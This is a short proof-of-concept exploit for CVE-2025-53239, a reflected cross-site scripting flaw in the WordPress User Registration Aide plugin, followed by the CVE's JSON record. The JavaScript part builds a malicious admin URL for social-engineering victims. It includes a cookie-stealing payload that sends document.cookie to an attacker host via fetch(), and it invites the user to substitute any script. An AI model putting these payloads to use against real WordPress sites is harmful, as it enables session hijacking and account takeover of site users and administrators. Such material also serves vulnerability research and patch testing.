CVE-2025-53239

<!-- CVE-2025-53239 PoC - Reflected XSS in User Registration Aide --> <!-- Target: WordPress site with User Registration Aide plugin <= 1.5.3.8 --> <!-- Attack Vector: Inject JavaScript via URL parameter --> <!-- Malicious URL Example --> <!-- Replace 'TARGET_URL' with the vulnerable WordPress site URL --> <!-- Replace XSS_PAYLOAD with your desired JavaScript code --> const targetUrl = 'TARGET_URL'; const xssPayload = '<script>alert(document.cookie)</script>'; // Construct malicious URL const maliciousUrl = `${targetUrl}/wp-admin/admin.php?page=user-registration-aide&param=${encodeURIComponent(xssPayload)}`; // For cookie stealing payload: const cookieStealPayload = `<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">`; // Display the malicious URL for social engineering console.log('Malicious URL:', maliciousUrl); // Alternative PoC - Direct URL with XSS // <target-site>/wp-content/plugins/user-registration-aide/?error=<script>alert('XSS')</script>

{"cve": {"id": "CVE-2025-53239", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:55.300", "lastModified": "2026-04-27T17:16:27.740", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in bnovotny User Registration Aide user-registration-aide allows Reflected XSS.This issue affects User Registration Aide: from n/a through <= 1.5.3.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/user-registration-aide/vulnerability/wordpress-user-registration-aide-plugin-1-5-3-8-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}